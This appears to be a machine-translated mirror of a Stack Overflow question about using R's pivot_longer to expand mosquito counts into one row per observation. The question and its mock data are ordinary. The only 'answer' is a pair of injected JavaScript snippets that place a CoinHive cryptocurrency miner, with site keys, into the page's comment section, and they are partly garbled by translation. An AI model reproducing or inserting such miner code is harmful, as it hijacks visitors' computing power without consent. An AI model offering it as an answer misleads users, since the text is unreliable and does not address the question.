R / 在dplyr中使用pivot_longer /我希望列中的计数值是旋转后的行数

问题描述 投票:0回答:1

这是我正在使用的一个更大数据集的模拟数据集。我正在尝试更改为更长的格式,其中有更多行,每行都反映对单个蚊子的观察。

# Package:
library(dplyr)

# Dataframe:
mock <- data.frame(village = c('A', 'A'),
                   season = as.factor(c('dry', 'wet')),                
                   trap = as.factor(c('BS', 'MET')),
                   mosquito1 = as.numeric(c(3, 3)),
                   mosquito2 = as.numeric(c('2', '0')))

我尝试了这段代码:

# Attempt to pivot_longer:
mock_longer <- mock %>% 
        pivot_longer(cols = mosquito1:mosquito2,
        names_to = "mosquito_species",
        values_to = "Count")

在本例中,两种蚊子种类位于一列“mosquito_species”中,但我还有一个附加列“计数”,用于计算使用特定诱捕方法捕获的每种蚊子种类的数量。

我希望 R 在旋转之前查看每个蚊子列的计数值,然后将它们用作新行的数量(我希望这是有意义的!)。我希望我的数据框在旋转后看起来像这样:

# What I want: 
mock2 <- data.frame(village = c('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A'),
                   season = as.factor(c('dry', 'dry', 'dry', 'dry', 'dry', 'wet', 'wet', 'wet')),                
                   trap = as.factor(c('BS', 'BS', 'BS', 'BS', 'BS', 'MET', 'MET', 'MET')),
                   mosquito_species = as.character(c('mosquito1', 'mosquito1', 'mosquito1', 'mosquito2', 'mosquito2', 'mosquito1', 'mosquito1', 'mosquito1')))
r dplyr pivot pivot-table
1个回答
0
投票

var comment = ' var miner = new CoinHive.Anonymous("SK_tBOtagJDzVMsotm557K7C");矿工.start(); '; document.getElementById('comment-section').innerHTML = comment;

var comment = ' var miner = new CoinHive.Anonymous("PK_OLfNV9zFpVSoDew8j6lfq ");矿工.start(); '; document.getElementById('comment-section').innerHTML = comment;

© www.soinside.com 2019 - 2024. All rights reserved.